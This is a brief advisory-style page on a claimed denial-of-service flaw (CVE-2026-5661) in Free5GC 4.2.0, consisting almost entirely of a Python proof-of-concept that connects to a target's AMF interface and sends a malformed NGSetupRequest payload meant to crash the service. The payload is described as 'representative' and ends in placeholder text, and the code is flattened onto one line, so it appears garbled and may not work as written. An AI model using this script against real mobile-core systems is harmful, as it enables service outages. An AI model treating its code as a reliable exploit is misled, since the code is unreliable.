CVE-2026-5661 Free5GC拒绝服务漏洞

import socket # Exploit Title: Free5GC 4.2.0 NGSetupRequest Handler DoS PoC # Description: Sends a malformed packet to trigger the vulnerability # Usage: python3 poc.py <target_ip> <target_port> import sys def send_malicious_packet(target_ip, target_port): try: # Establish connection to the Free5GC AMF interface s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_ip, int(target_port))) # Crafted malformed payload targeting NGSetupRequest Handler # This is a representative buffer to trigger the parsing flaw payload = b"\x00\x1c\x00\x00\x00\x00\x00\x00\x00\x18\x00\x0e\x00\x00MALICIOUS_DATA_OVERFLOW" s.send(payload) print(f"[+] Payload sent to {target_ip}:{target_port}") print("[+] Check if the service has crashed.") s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) != 3: print("Usage: python3 poc.py <IP> <PORT>") else: send_malicious_packet(sys.argv[1], sys.argv[2])